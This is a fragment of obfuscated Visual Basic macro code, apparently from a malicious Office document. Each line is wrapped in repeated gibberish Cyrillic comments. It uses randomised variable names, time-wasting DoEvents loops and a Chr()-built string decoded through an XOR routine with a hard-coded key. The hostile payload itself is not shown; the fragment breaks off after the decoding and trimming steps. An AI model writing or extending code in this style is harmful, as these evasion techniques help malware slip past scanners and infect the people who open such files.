'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim WbElnhUL, uThxzePr, lQzbEJFg As String
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim GfHkxnMC As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
GfHkxnMC = 9
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While GfHkxnMC < 32
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: GfHkxnMC = GfHkxnMC + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
WbElnhUL = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(109) & Chr(110) & Chr(60) & Chr(59) & Chr(116) & Chr(35) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim jyXKqqIa As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
jyXKqqIa = 7
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While jyXKqqIa < 43
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: jyXKqqIa = jyXKqqIa + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
uThxzePr = LTrim(WbElnhUL)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Dim ymqDkkSq As Integer
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
ymqDkkSq = 5
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Do While ymqDkkSq < 63
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
DoEvents: ymqDkkSq = ymqDkkSq + 1
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
Loop
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
lQzbEJFg = RTrim(uThxzePr)
'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау

'илоигш*(Н 89нр8 ПГп898р0шР(* гпе7 *Нпгшвиышгпмпыг п78П(грацщурп ишгшПШ9г щрщкурпгп87(ПР)ШЩипомау
…